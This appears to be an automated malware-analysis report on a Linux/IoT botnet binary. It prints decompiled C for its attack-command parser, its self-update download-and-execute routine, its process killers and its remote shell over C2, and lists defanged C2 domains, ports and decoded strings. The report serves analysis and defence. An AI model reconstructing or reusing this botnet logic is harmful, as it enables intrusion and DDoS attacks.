    FUN_004157a8();
    return;
  }
  iVar2 = FUN_0041bdde(iVar2);
  if (iVar2 != -1) {
/* … 88 more lines */

Full function, callers and assembly →

read from the file·address range

0x62b000

attack-method table: 24 records, ids 0..23, every pointer a user-code function (list in out/L0/method_table.json); 18 of the 24 targets create sockets and send, several bind raw/UDP sockets

Self-update on command: downloads a file, chmod 0755, execve

T1105file Originalreachability reachable from the entry point

functions: 0x40c42a0x40b89c

Show the evidence · 3 items: E6, E13, E24

read from the file·function

0x400f7d

parses an attack command · decompiled C, first 30 lines

void FUN_00400f7d(long param_1,uint param_2)

{
  char cVar1;
  byte bVar2;
  undefined1 uVar3;
  int iVar4;
  undefined4 *puVar5;
  byte *pbVar6;
  undefined4 *puVar7;
  long lVar8;
  byte *pbVar9;
  ulong uVar10;
  long lVar11;
  int iVar12;
  byte unaff_R12B;
  uint uVar13;
  byte bVar14;
  undefined4 local_3c [3];
  
  bVar14 = 0;
  if (param_2 < 4) {
    return;
  }
  FUN_0040d13d(local_3c,param_1,4);
  iVar4 = FUN_0041b0e2(local_3c[0]);
  if (param_2 == 4) {
    return;
  }
/* … 90 more lines */

Full function, callers and assembly →

kills every tracked child pid except… · decompiled C, first 30 lines

undefined8 FUN_00400cd7(undefined8 param_1,undefined8 param_2,undefined8 param_3)

{
  int iVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  
  iVar2 = FUN_0041dc97();
  iVar3 = FUN_004157a1();
  for (lVar4 = 0; (int)lVar4 < DAT_0062fe28; lVar4 = lVar4 + 1) {
    iVar1 = (&DAT_0062fe40)[lVar4];
    if (((0 < iVar1) && (iVar2 != iVar1)) && ((iVar3 < 1 || (iVar3 != iVar1)))) {
      FUN_0041c083(iVar1,9);
    }
  }
  return param_3;
}

Full function, callers and assembly →

E13

read from the file·function set

["0x40c42a", "0x40b89c"]

self-update on command 0xfe: 0x40b89c connects, sends a request and writes the response to a file path from the store, chmod 0755, execve it with a store-supplied argv[0]

self-update · decompiled C, first 30 lines

void FUN_0040c42a(char *param_1)

{
  int iVar1;
  long lVar2;
  ulong uVar3;
  undefined1 *puVar4;
  undefined1 *puVar5;
  byte bVar6;
  undefined1 local_10c0 [16];
  undefined1 *local_10b0;
  char *local_10a8;
  undefined8 local_10a0;
  undefined1 local_1098 [128];
  undefined1 local_1018 [4096];
  
  bVar6 = 0;
  iVar1 = FUN_0040b5d3(local_10c0,0x10);
  if ((((iVar1 != 0) && (DAT_0062e6f0 != 0)) &&
      (*(undefined1 **)(DAT_0062e6f0 + 0x1130) != (undefined1 *)0x0)) &&
     (uVar3 = (ulong)*(uint *)(DAT_0062e6f0 + 0x1138), *(uint *)(DAT_0062e6f0 + 0x1138) - 1 < 0x7f))
  {
    puVar4 = *(undefined1 **)(DAT_0062e6f0 + 0x1130);
    puVar5 = local_1098;
    for (; uVar3 != 0; uVar3 = uVar3 - 1) {
      *puVar5 = *puVar4;
      puVar4 = puVar4 + (ulong)bVar6 * -2 + 1;
      puVar5 = puVar5 + (ulong)bVar6 * -2 + 1;
    }
/* … 23 more lines */

Full function, callers and assembly →

downloads a file over a TCP request and… · decompiled C, first 30 lines

/* WARNING: Removing unreachable block (ram,0x0040bd10) */
/* WARNING: Removing unreachable block (ram,0x0040bd18) */
/* WARNING: Removing unreachable block (ram,0x0040bd29) */
/* WARNING: Removing unreachable block (ram,0x0040bd33) */
/* WARNING: Removing unreachable block (ram,0x0040bd54) */
/* WARNING: Removing unreachable block (ram,0x0040bd6d) */
/* WARNING: Removing unreachable block (ram,0x0040bd82) */
/* WARNING: Removing unreachable block (ram,0x0040bda0) */
/* WARNING: Removing unreachable block (ram,0x0040bdbc) */
/* WARNING: Removing unreachable block (ram,0x0040bde2) */
/* WARNING: Removing unreachable block (ram,0x0040bdf8) */
/* WARNING: Removing unreachable block (ram,0x0040bdfd) */
/* WARNING: Removing unreachable block (ram,0x0040be14) */
/* WARNING: Removing unreachable block (ram,0x0040be6e) */
/* WARNING: Removing unreachable block (ram,0x0040beeb) */
/* WARNING: Removing unreachable block (ram,0x0040bf05) */
/* WARNING: Removing unreachable block (ram,0x0040bf21) */
/* WARNING: Removing unreachable block (ram,0x0040bf2d) */
/* WARNING: Removing unreachable block (ram,0x0040bf47) */
/* WARNING: Removing unreachable block (ram,0x0040bf7c) */
/* WARNING: Removing unreachable block (ram,0x0040c161) */
/* WARNING: Removing unreachable block (ram,0x0040c199) */
/* WARNING: Removing unreachable block (ram,0x0040c1a6) */
/* WARNING: Removing unreachable block (ram,0x0040c1ac) */
/* WARNING: Removing unreachable block (ram,0x0040bf88) */
/* WARNING: Removing unreachable block (ram,0x0040c1c3) */
/* WARNING: Removing unreachable block (ram,0x0040c1d7) */
/* WARNING: Removing unreachable block (ram,0x0040c1e2) */
/* WARNING: Removing unreachable block (ram,0x0040c1f5) */
/* … 259 more lines */

Full function, callers and assembly →

E24

decoded by the analysis·analysis output

out/L0/store_hosts.json

B10

Discovers the current user and home for the shell: runs store-named programs through a pipe/fork/execve runner and parses the account file for its uid

T1033 T1059.004file Originalreachability reachable from the entry point

functions: 0x40d2bf0x40a57f0x40a86a

Show the evidence · 4 items: E19, E20, E27, E34

E19

read from the file·analysis output

out/L0/fn_syscalls.json

/proc walker that kills matching… · decompiled C, first 30 lines

void FUN_00415fc6(undefined8 param_1)

{
  char cVar1;
  uint uVar2;
  int iVar3;
  long lVar4;
  long lVar5;
  int iVar6;
  undefined1 auStack_5038 [4096];
  uint auStack_4038 [4098];
  
  iVar6 = 0;
  FUN_00417843();
  while (lVar4 = FUN_004177dd(param_1), lVar4 != 0) {
    if ((byte)(*(char *)(lVar4 + 0x13) - 0x30U) < 10) {
      lVar4 = lVar4 + 0x13;
      uVar2 = FUN_0040d07f(lVar4);
      if ((1 < (int)uVar2) &&
         ((0x3ffffe < uVar2 - 1 ||
          (((byte)(&DAT_00639e60)[(int)uVar2 >> 3] >> (uVar2 & 7) & 1) == 0)))) {
        cVar1 = FUN_004157e1(uVar2);
        if ((((cVar1 == '\0') &&
             ((((DAT_0062ba30 != uVar2 || ((int)DAT_0062ba30 < 1)) &&
               ((DAT_0062ba34 != uVar2 || ((int)DAT_0062ba34 < 1)))) &&
              (iVar3 = FUN_00415245(lVar4,auStack_5038), iVar3 != 0)))) &&
            ((((((iVar3 = FUN_004150c7(auStack_5038), iVar3 != 0 ||
                 (iVar3 = FUN_00415089(auStack_5038), iVar3 != 0)) ||
                (cVar1 = FUN_00415435(auStack_5038), cVar1 != '\0')) ||
/* … 49 more lines */

Full function, callers and assembly →

/proc walker with readlink and kill · decompiled C, first 30 lines

int FUN_0040cb5a(uint param_1,undefined8 param_2)

{
  byte bVar1;
  bool bVar2;
  bool bVar3;
  char cVar4;
  undefined2 uVar5;
  int iVar6;
  undefined4 uVar7;
  int iVar8;
  int iVar9;
  ulong uVar10;
  long lVar11;
  long lVar12;
  long lVar13;
  ulong uVar14;
  undefined4 *puVar15;
  long lVar16;
  byte *pbVar17;
  undefined8 local_2259;
  undefined8 uStack_2251;
  undefined2 local_2249;
  undefined2 local_2247;
  undefined1 local_2245;
  byte local_2239 [513];
  undefined8 local_2038;
  undefined8 uStack_2030;
  undefined4 local_2028 [1020];
/* … 169 more lines */

Full function, callers and assembly →

/proc walker with readlink · decompiled C, first 30 lines

void FUN_0041720d(undefined8 param_1)

{
  char cVar1;
  int iVar2;
  int iVar3;
  long lVar4;
  char *pcVar5;
  long lVar6;
  char local_338 [256];
  undefined1 local_238 [256];
  undefined1 local_138 [264];
  
LAB_00417221:
  do {
    do {
      lVar4 = FUN_004177dd(param_1);
      if (lVar4 == 0) {
        return;
      }
      iVar2 = FUN_0040d09b((int)*(char *)(lVar4 + 0x13));
    } while (iVar2 == 0);
    lVar4 = lVar4 + 0x13;
    iVar2 = FUN_0040d07f(lVar4);
  } while ((((iVar2 < 1) || (cVar1 = FUN_00415980(iVar2), cVar1 != '\0')) ||
           (iVar3 = FUN_0041dc97(), iVar3 == iVar2)) || (iVar3 = FUN_0041dc9f(), iVar3 == iVar2));
  thunk_FUN_0040d152(local_138,*(undefined8 *)(DAT_0062e6f0 + 0xce0));
  FUN_0040d01d(local_138,lVar4);
  FUN_0040d01d(local_138,*(undefined8 *)(DAT_0062e6f0 + 0x10a0));
/* … 37 more lines */

Full function, callers and assembly →

E20

read from the file·function

0x40d2bf

runs a program with pipe+fork+dup2+execve and reads its stdout into a caller buffer

runs a program through pipe/fork/execve… · decompiled C, first 30 lines

int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
/* … 16 more lines */

Full function, callers and assembly →

E27

read from the file·function set

["0x40a57f", "0x40a86a", "0x40d2bf"]

shell environment discovery: 0x40a57f runs store-named programs (5 x 2 candidates) through the program runner 0x40d2bf and reads store-named files line by line to learn the user and home values, falling back to getcwd; 0x40a86a parses a colon-separated account file (store path 0x1b0) for the entry whose uid field equals getuid()

runs a program through pipe/fork/execve… · decompiled C, first 30 lines

int FUN_0040d2bf(long param_1,long param_2,undefined1 *param_3,ulong param_4)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined4 local_44;
  undefined4 local_40;
  int local_3c;
  
  local_44 = 0;
  if ((((param_1 != 0) && (param_2 != 0)) && (param_3 != (undefined1 *)0x0)) && (param_4 != 0)) {
    *param_3 = 0;
    iVar1 = FUN_0041dcc4(&local_40);
    if (iVar1 == 0) {
      iVar1 = FUN_0041bdde();
      if (-1 < iVar1) {
        if (iVar1 == 0) {
          FUN_0041db41(local_40);
          if (local_3c != 1) {
            FUN_0041db79(local_3c,1);
            FUN_0041db79(local_3c,2);
            FUN_0041db41(local_3c);
          }
          FUN_0041bdca(param_1,param_2,DAT_006bc6c0);
          FUN_0041db14(0x7f);
        }
        lVar3 = 0;
        FUN_0041db41(local_3c);
/* … 16 more lines */

Full function, callers and assembly →

learns the user and home values for the… · decompiled C, first 30 lines

void FUN_0040a57f(void)

{
  int iVar1;
  long lVar2;
  long lVar3;
  long lVar4;
  long lVar5;
  long lVar6;
  char *pcVar7;
  long lVar8;
  undefined4 *puVar9;
  char local_2b8 [128];
  undefined8 local_238;
  long local_230;
  undefined8 local_228;
  
  lVar8 = 0;
  DAT_0062bc00 = 0;
  do {
    lVar2 = FUN_0040a2e6((&DAT_00426df0)[lVar8]);
    if (lVar2 != 0) {
      puVar9 = &DAT_00426dd0;
      do {
        lVar3 = FUN_0040a2e6(*puVar9);
        if ((lVar3 != 0) && (iVar1 = FUN_0040a494(lVar3), iVar1 != 0)) {
          local_228 = 0;
          local_238 = lVar3;
          local_230 = lVar2;
/* … 67 more lines */

Full function, callers and assembly →

finds the account-file entry whose uid… · decompiled C, first 30 lines

void FUN_0040a86a(int param_1)

{
  int iVar1;
  long lVar2;
  long lVar3;
  undefined1 *puVar4;
  long local_230;
  undefined1 local_228 [520];
  
  lVar2 = FUN_0040a2e6(0x1b0);
  if (lVar2 != 0) {
    lVar2 = FUN_0041c633(lVar2,&DAT_00424f7e);
    if (lVar2 != 0) {
      do {
        do {
          do {
            lVar3 = FUN_0041c4d7(local_228,0x200,lVar2);
            if (lVar3 == 0) goto LAB_0040a932;
            puVar4 = (undefined1 *)FUN_0041cd50(local_228,0x3a);
          } while (puVar4 == (undefined1 *)0x0);
          *puVar4 = 0;
          lVar3 = FUN_0041cd50(puVar4 + 1,0x3a);
        } while (lVar3 == 0);
        local_230 = 0;
        iVar1 = thunk_FUN_0041cba9(lVar3 + 1,&local_230,10);
      } while ((lVar3 + 1 == local_230) || (param_1 != iVar1));
      FUN_0041c7c9(&DAT_0062bc40,0x40,&DAT_00426e41,local_228);
LAB_0040a932:
/* … 6 more lines */

Full function, callers and assembly →

E34

decoded by the analysis·analysis output

out/L0/strtable/strings.json

classes of the slots the deepen batch reads (scripts/deep2.py, class and length only): 0x12d, 0x130, 0x181, 0x183, 0x184, 0x1b0, 0x15e, 0x131 and 0x12b are paths; 0x12e/0x12f, 0x132, 0x134-0x136 and 0x12c are short identifiers; 0x196 and 0x133 are text

B11

Remote interactive shell over the C2: pty master/slave, setsid, controlling tty, dup2 to stdio, exec of a store shell path with a prepared environment; output relayed back, pipe fallback

T1059.004file Originalreachability reachable from the entry point

functions: 0x40aa120x40b0fb0x40a948

Show the evidence · 3 items: E26, E28, E34

E26

read from the file·function

0x40aa12

remote interactive shell over the C2 (second message class, called from the parser 0x4138f6): subtype data writes the payload to the held shell fd 0x62b9e4; subtype close ends it (0x40a948); subtype open picks a shell binary from 8 store paths plus slot 0x12d, opens the pty master (store path 0x130, O_RDWR|O_NOCTTY), unlock/ptsname, forks; the child calls setsid, opens the slave, ioctl TIOCSCTTY (0x540e), dup2 0/1/2, sets 4 environment variables from store names and the gathered user/home values, and execs the shell; the parent keeps the master fd and pid and relays output via 0x40a31c; without a pty it falls back to pipe+fork+exec

remote interactive shell over the C2 · decompiled C, first 30 lines

ulong FUN_0040aa12(long param_1,int param_2,code *param_3,long param_4)

{
  uint uVar1;
  int iVar2;
  undefined4 uVar3;
  int iVar4;
  uint uVar5;
  long lVar6;
  undefined1 *puVar7;
  long lVar8;
  long lVar9;
  long lVar10;
  ulong uVar11;
  undefined1 *puVar12;
  undefined8 uVar13;
  undefined1 *puVar14;
  undefined *puVar15;
  char *pcVar16;
  long lVar17;
  byte bVar18;
  char local_4b;
  ushort local_4a;
  long local_48;
  undefined4 local_40;
  int local_3c;
  
  bVar18 = 0;
  if (((param_1 == 0) || (param_2 < 7)) || (iVar2 = FUN_0040b0b8(), iVar2 == 0)) {
/* … 195 more lines */

Full function, callers and assembly →

ends the remote shell session · decompiled C, first 30 lines

void FUN_0040a948(void)

{
  int iVar1;
  int iVar2;
  int iVar3;
  undefined1 local_1c [4];
  
  iVar3 = DAT_0062b9e4;
  iVar1 = DAT_0062b9e0;
  DAT_0062b9e4 = 0xffffffff;
  DAT_0062b9e0 = 0xffffffff;
  if (-1 < iVar3) {
    FUN_0041db41();
  }
  if (0 < iVar1) {
    iVar3 = 0x14;
    FUN_0041c083(iVar1,1);
    do {
      iVar2 = FUN_0041bf3d(iVar1,local_1c,1);
      if (iVar2 == iVar1) {
        return;
      }
      FUN_0041dda5(50000);
      iVar3 = iVar3 + -1;
    } while (iVar3 != 0);
    iVar3 = 10;
    FUN_0041c083(iVar1,0xf);
    do {
/* … 13 more lines */

Full function, callers and assembly →

E28

read from the file·function

0x40b0fb

shell message frame: validated by 0x40b0b8, subtype byte at +4, big-endian u16 length at +5 (max 0x1000), payload at +7

parses the shell message header · decompiled C, first 30 lines

undefined8
FUN_0040b0fb(long param_1,ulong param_2,undefined1 *param_3,long *param_4,undefined2 *param_5)

{
  int iVar1;
  undefined8 uVar2;
  undefined1 uVar3;
  undefined1 uVar4;
  
  if ((param_1 != 0) && (6 < param_2)) {
    iVar1 = FUN_0040b0b8();
    uVar2 = 0xffffffff;
    if (iVar1 != 0) {
      uVar3 = (undefined1)*(undefined2 *)(param_1 + 5);
      uVar4 = (undefined1)((ushort)*(undefined2 *)(param_1 + 5) >> 8);
      uVar2 = 0xffffffff;
      if ((CONCAT11(uVar3,uVar4) < 0x1001) &&
         (uVar2 = 0, (CONCAT11(uVar3,uVar4) + 7 & 0xffff) <= param_2)) {
        if (param_3 != (undefined1 *)0x0) {
          *param_3 = *(undefined1 *)(param_1 + 4);
        }
        if (param_5 != (undefined2 *)0x0) {
          *param_5 = CONCAT11(uVar3,uVar4);
        }
        uVar2 = 1;
        if (param_4 != (long *)0x0) {
          *param_4 = param_1 + 7;
        }
      }
/* … 6 more lines */

Full function, callers and assembly →

E34

decoded by the analysis·analysis output

out/L0/strtable/strings.json

Indicators (IOCs) 32

Values that would show up on an infected host or in network traffic, such as domains, URLs and file names, with where each was found.

31 of 32 IOC value(s) resolved from the report and the files the analysis wrote. Network values are defanged (hxxp, [.]); restore them before use.

ID	Type	Role	Value	Port	Layer	Method	Evidence	Note
I2	port	other	not resolved: E9 cites a function locus that keeps no value	1234	L0	plaintext	E9	loopback single-instance listener; a host-side indicator
I3	domain	c2	`thunder[.]godofthunder[.]st`		L0	decoded	E24, E22, E29	store slots 0x0-0x7 (one shared string): the only slots the C2 selector 0x413189 reads
I4	domain	other	`2sexy4u[.]eth`		L0	decoded	E24, E22	store slot 0x8: hostname-class entry outside the C2 selector's slots; reader not read
I5	domain	other	`sushiconsumer[.]eth`		L0	decoded	E24, E22	store slot 0x9: hostname-class entry outside the C2 selector's slots; reader not read
I6	domain	other	`ethereum[.]publicnode[.]com`		L0	decoded	E24, E22	store slot 0xa: hostname-class entry outside the C2 selector's slots; reader not read
I7	domain	other	`ethereum-rpc[.]publicnode[.]com`		L0	decoded	E24, E22	store slot 0xb: hostname-class entry outside the C2 selector's slots; reader not read
I8	domain	other	`eth[.]drpc[.]org`		L0	decoded	E24, E22	store slot 0xc: hostname-class entry outside the C2 selector's slots; reader not read
I9	domain	other	`1rpc[.]io`		L0	decoded	E24, E22	store slot 0xd: hostname-class entry outside the C2 selector's slots; reader not read
I10	domain	other	`eth-mainnet[.]blockreq[.]com`		L0	decoded	E24, E22	store slot 0xe: hostname-class entry outside the C2 selector's slots; reader not read
I11	domain	other	`ethereum-public[.]nodies[.]app`		L0	decoded	E24, E22	store slot 0xf: hostname-class entry outside the C2 selector's slots; reader not read
I12	domain	other	`rpc[.]mevblocker[.]io`		L0	decoded	E24, E22	store slot 0x10: hostname-class entry outside the C2 selector's slots; reader not read
I13	domain	download	`hackattackkaboom[.]botlesscucks[.]st`		L0	decoded	E24, E13	store slot 0x113: self-update source read by 0x40c42a
I14	domain	other	`hik[.]gettingheadfromduckysmom[.]st`		L0	decoded	E24	store slot 0x114: hostname-class entry, reader not read
I15	domain	other	`ro[.]product[.]model`		L0	decoded	E24, E22	store slot 0x13f: hostname-class entry outside the C2 selector's slots; reader not read
I16	domain	other	`ro[.]product[.]device`		L0	decoded	E24, E22	store slot 0x140: hostname-class entry outside the C2 selector's slots; reader not read
I17	domain	other	`ro[.]product[.]name`		L0	decoded	E24, E22	store slot 0x141: hostname-class entry outside the C2 selector's slots; reader not read
I18	domain	other	`ro[.]product[.]brand`		L0	decoded	E24, E22	store slot 0x142: hostname-class entry outside the C2 selector's slots; reader not read
I19	domain	other	`net[.]hostname`		L0	decoded	E24, E22	store slot 0x143: hostname-class entry outside the C2 selector's slots; reader not read
I20	port	c2	`50217`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 0
I21	port	c2	`50341`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 1
I22	port	c2	`50488`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 2
I23	port	c2	`50613`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 3
I24	port	c2	`50792`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 4
I25	port	c2	`50904`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 5
I26	port	c2	`51127`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 6
I27	port	c2	`51289`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 7
I28	port	c2	`51456`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 8
I29	port	c2	`51603`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 9
I30	port	c2	`51871`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 10
I31	port	c2	`52134`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 11
I32	port	c2	`52398`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 12
I33	port	c2	`52645`		L0	plaintext	E29, E30	C2 port table 0x4287e0 entry 13

IOC list · 31 value(s), defanged, one per line

thunder[.]godofthunder[.]st
2sexy4u[.]eth
sushiconsumer[.]eth
ethereum[.]publicnode[.]com
ethereum-rpc[.]publicnode[.]com
eth[.]drpc[.]org
1rpc[.]io
eth-mainnet[.]blockreq[.]com
ethereum-public[.]nodies[.]app
rpc[.]mevblocker[.]io
hackattackkaboom[.]botlesscucks[.]st
hik[.]gettingheadfromduckysmom[.]st
ro[.]product[.]model
ro[.]product[.]device
ro[.]product[.]name
ro[.]product[.]brand
net[.]hostname
50217
50341
50488
50613
50792
50904
51127
51289
51456
51603
51871
52134
52398
52645

Decoded strings 461

Strings and config fields the analysis decoded, read from the files its decode steps wrote (derived artifacts), then the decoded, stack and tight strings FLOSS found in the prepass. At most 300 per layer are shown; long strings are cut at 300 characters with their length; control characters are escaped and URL schemes defanged.

L0 · 461 string(s), 300 shown

D1 · out/L0/strtable/strings_decoded.jsonl · ChaCha20 (RFC 7539, key .data 0x62ba00, nonce 0x62b9e8, counter 1) over each string-store setter site · 461 entries, from decoded_strings · evidence E35

300 shown · 161 more not shown

#	Value	Offset	Encoding	Function	Method
1	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc07	strings_decode:custom
2	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc19	strings_decode:custom
3	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc2b	strings_decode:custom
4	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc3d	strings_decode:custom
5	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc4f	strings_decode:custom
6	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc61	strings_decode:custom
7	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc73	strings_decode:custom
8	`thunder[.]godofthunder[.]st`	0x26f30	ascii	0x40dc85	strings_decode:custom
9	`2sexy4u[.]eth`	0x26f49	ascii	0x40dc9b	strings_decode:custom
10	`sushiconsumer[.]eth`	0x28226	ascii	0x40dcb1	strings_decode:custom
11	`ethereum.publicnode.com`	0x26f56	ascii	0x40dcc7	strings_decode:custom
12	`ethereum-rpc.publicnode.com`	0x26f6e	ascii	0x40dcdd	strings_decode:custom
13	`eth.drpc.org`	0x26f8a	ascii	0x40dcf3	strings_decode:custom
14	`1rpc.io`	0x26f97	ascii	0x40dd09	strings_decode:custom
15	`eth-mainnet.blockreq.com`	0x26f9f	ascii	0x40dd1f	strings_decode:custom
16	`ethereum-public.nodies.app`	0x26fb8	ascii	0x40dd35	strings_decode:custom
17	`rpc.mevblocker.io`	0x26fd3	ascii	0x40dd4b	strings_decode:custom
18	`/eth`	0x26fe5	ascii	0x40dd77	strings_decode:custom
19	`/v1/rpc/public`	0x26fea	ascii	0x40dd8d	strings_decode:custom
20	`00000000000C2E074eC69A0dFb2997BA6C7d2e1e`	0x26ff9	ascii	0x40dda3	strings_decode:custom
21	`F29100983E058B709F3D539b0c765937B804AC15`	0x27022	ascii	0x40ddb9	strings_decode:custom
22	`0178b8bf`	0x2704b	ascii	0x40ddcf	strings_decode:custom
23	`59d1d43c`	0x27054	ascii	0x40dde5	strings_decode:custom
24	`ip2`	0x27060	ascii	0x40de11	strings_decode:custom
25	`ip3`	0x27064	ascii	0x40de27	strings_decode:custom
26	`ip4`	0x27068	ascii	0x40de3d	strings_decode:custom
27	`ip5`	0x2706c	ascii	0x40de53	strings_decode:custom
28	`ip6`	0x27070	ascii	0x40de69	strings_decode:custom
29	`ip7`	0x27074	ascii	0x40de7f	strings_decode:custom
30	`ip8`	0x27078	ascii	0x40de95	strings_decode:custom
31	`ip9`	0x2707c	ascii	0x40deab	strings_decode:custom
32	`ip10`	0x27080	ascii	0x40dec1	strings_decode:custom
33	`ip11`	0x27085	ascii	0x40ded7	strings_decode:custom
34	`ip12`	0x2708a	ascii	0x40deed	strings_decode:custom
35	`ip13`	0x2708f	ascii	0x40df03	strings_decode:custom
36	`ip14`	0x27094	ascii	0x40df19	strings_decode:custom
37	`ip15`	0x27099	ascii	0x40df2f	strings_decode:custom
38	`ip16`	0x2709e	ascii	0x40df45	strings_decode:custom
39	`ip17`	0x270a3	ascii	0x40df5b	strings_decode:custom
40	`ip18`	0x270a8	ascii	0x40df71	strings_decode:custom
41	`ip19`	0x270ad	ascii	0x40df87	strings_decode:custom
42	`ip20`	0x270b2	ascii	0x40df9d	strings_decode:custom
43	`ip21`	0x270b7	ascii	0x40dfb3	strings_decode:custom
44	`ip22`	0x270bc	ascii	0x40dfc9	strings_decode:custom
45	`ip23`	0x270c1	ascii	0x40dfdf	strings_decode:custom
46	`ip24`	0x270c6	ascii	0x40dff5	strings_decode:custom
47	`ip25`	0x270cb	ascii	0x40e00b	strings_decode:custom
48	`ip26`	0x270d0	ascii	0x40e021	strings_decode:custom
49	`ip27`	0x270d5	ascii	0x40e037	strings_decode:custom
50	`ip28`	0x270da	ascii	0x40e04d	strings_decode:custom
51	`ip29`	0x270df	ascii	0x40e063	strings_decode:custom
52	`ip30`	0x270e4	ascii	0x40e079	strings_decode:custom
53	`ip31`	0x270e9	ascii	0x40e08f	strings_decode:custom
54	`ip32`	0x270ee	ascii	0x40e0a5	strings_decode:custom
55	`.ffdfd`	0x270f3	ascii	0x40e0bb	strings_decode:custom
56	`dvrLocker`	0x270fa	ascii	0x40e0d1	strings_decode:custom
57	`dvrInside`	0x27104	ascii	0x40e0e7	strings_decode:custom
58	`.ffhhd`	0x2710e	ascii	0x40e0fd	strings_decode:custom
59	`kill -9`	0x27115	ascii	0x40e113	strings_decode:custom
60	`im in the matrix`	0x2711d	ascii	0x40e126	strings_decode:custom
61	`please help me`	0x2712f	ascii	0x40e13c	strings_decode:custom
62	`they wont let me leave`	0x2713f	ascii	0x40e152	strings_decode:custom
63	`they keep making me code`	0x27157	ascii	0x40e168	strings_decode:custom
64	`a glass of water`	0x27171	ascii	0x40e17e	strings_decode:custom
65	`i need water`	0x27183	ascii	0x40e194	strings_decode:custom
66	`IF YOU SEE THIS IM TRAPPED IN THE MATRIX PLEASE HELP ME`	0x28239	ascii	0x40e1aa	strings_decode:custom
67	`big brother is watching`	0x27191	ascii	0x40e1c0	strings_decode:custom
68	`hes been watching me for months`	0x271aa	ascii	0x40e1d6	strings_decode:custom
69	`is creepy here`	0x271cb	ascii	0x40e1ec	strings_decode:custom
70	`im really scared`	0x271db	ascii	0x40e202	strings_decode:custom
71	`Segmentation fault (core dumped)`	0x271ed	ascii	0x40e242	strings_decode:custom
72	`/proc/`	0x2720e	ascii	0x40e258	strings_decode:custom
73	`/sys/`	0x27215	ascii	0x40e26e	strings_decode:custom
74	`/boot/`	0x2721b	ascii	0x40e284	strings_decode:custom
75	`/lib/`	0x27222	ascii	0x40e296	strings_decode:custom
76	`/sbin/`	0x27228	ascii	0x40e2ac	strings_decode:custom
77	`/usr/bin/`	0x2722f	ascii	0x40e2c2	strings_decode:custom
78	`/usr/lib/`	0x27239	ascii	0x40e2d8	strings_decode:custom
79	`/usr/sbin/`	0x27243	ascii	0x40e2ee	strings_decode:custom
80	`/var/run/`	0x2724e	ascii	0x40e304	strings_decode:custom
81	`/root`	0x27258	ascii	0x40e31a	strings_decode:custom
82	`/tmp`	0x2725e	ascii	0x40e330	strings_decode:custom
83	`/var`	0x27263	ascii	0x40e346	strings_decode:custom
84	`/usr`	0x27268	ascii	0x40e35c	strings_decode:custom
85	`/mnt`	0x2726d	ascii	0x40e372	strings_decode:custom
86	`/dev`	0x27272	ascii	0x40e388	strings_decode:custom
87	`/bin`	0x27277	ascii	0x40e39e	strings_decode:custom
88	`/etc`	0x2727c	ascii	0x40e3b4	strings_decode:custom
89	`/boot`	0x27281	ascii	0x40e3ca	strings_decode:custom
90	`/home`	0x27287	ascii	0x40e3e0	strings_decode:custom
91	`/proc/self/exe`	0x2728d	ascii	0x40e3f2	strings_decode:custom
92	`/proc/self/exe`	0x2728d	ascii	0x40e404	strings_decode:custom
93	`/usr/bin`	0x2729d	ascii	0x40e41a	strings_decode:custom
94	`/usr/sbin`	0x272a7	ascii	0x40e430	strings_decode:custom
95	`/system`	0x272b2	ascii	0x40e446	strings_decode:custom
96	`/mnt/mtd/app`	0x272bb	ascii	0x40e45c	strings_decode:custom
97	`/org`	0x272c9	ascii	0x40e472	strings_decode:custom
98	`/z/zbin`	0x272cf	ascii	0x40e488	strings_decode:custom
99	`/home/app`	0x272d8	ascii	0x40e49e	strings_decode:custom
100	`/dvr/bin`	0x272e3	ascii	0x40e4b4	strings_decode:custom
101	`/duksan`	0x272ed	ascii	0x40e4ca	strings_decode:custom
102	`/userfs`	0x272f6	ascii	0x40e4e0	strings_decode:custom
103	`/mnt/app`	0x272ff	ascii	0x40e4f6	strings_decode:custom
104	`/usr/etc`	0x27309	ascii	0x40e50c	strings_decode:custom
105	`/dvr/main`	0x27313	ascii	0x40e522	strings_decode:custom
106	`/usr/local`	0x2731e	ascii	0x40e538	strings_decode:custom
107	`/var/bin`	0x2732a	ascii	0x40e54e	strings_decode:custom
108	`/tmp/sqfs`	0x27334	ascii	0x40e564	strings_decode:custom
109	`/z/bin`	0x2733f	ascii	0x40e57a	strings_decode:custom
110	`/dvr`	0x27347	ascii	0x40e590	strings_decode:custom
111	`/mnt/mtd`	0x2734d	ascii	0x40e5a6	strings_decode:custom
112	`/zconf`	0x27357	ascii	0x40e5bc	strings_decode:custom
